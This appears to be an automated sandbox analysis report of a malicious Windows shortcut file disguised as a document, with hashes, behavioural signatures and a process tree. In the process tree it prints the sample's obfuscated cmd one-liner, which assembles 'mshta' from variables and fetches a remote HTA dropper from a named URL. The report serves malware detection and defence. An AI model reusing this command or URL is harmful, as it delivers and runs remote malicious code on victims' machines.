Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-XTYAWG.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-XTYAWG.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-XTYAWG.lnk
- Size 1KB
- Sample260804-kgbrssvhnf
- SHA256 848046fd73365e1345138826f46b0baeddd09ec232751d27a85640a7cd17698d
- MD5 aab984e0d78a621359d5fbfd49368fc3
- SHA1 4d09326728803ea1c88706fc00d569e86f863c62
- SHA512 1e6f932d3cfedd9fc42ef91ddf317da3a4557a1200309bd9e65abae3f943fc500680cc8e96392a661edc8bc9b47a0705282520aad5c8344ae1c73a45ffc67ae3
- TLSH T1C23147503EED0664F3B38F7694BB672485BBB9AA8E20CA2E0141454C5072A15E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5540 cmd.exe 2568 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5540 wrote to memory of 2568 5540 cmd.exe 91 PID 2568 wrote to memory of 944 2568 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XTYAWG.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5540 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set GUY=msh&&set Xw=ta&&start "" !GUY!!Xw! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:944
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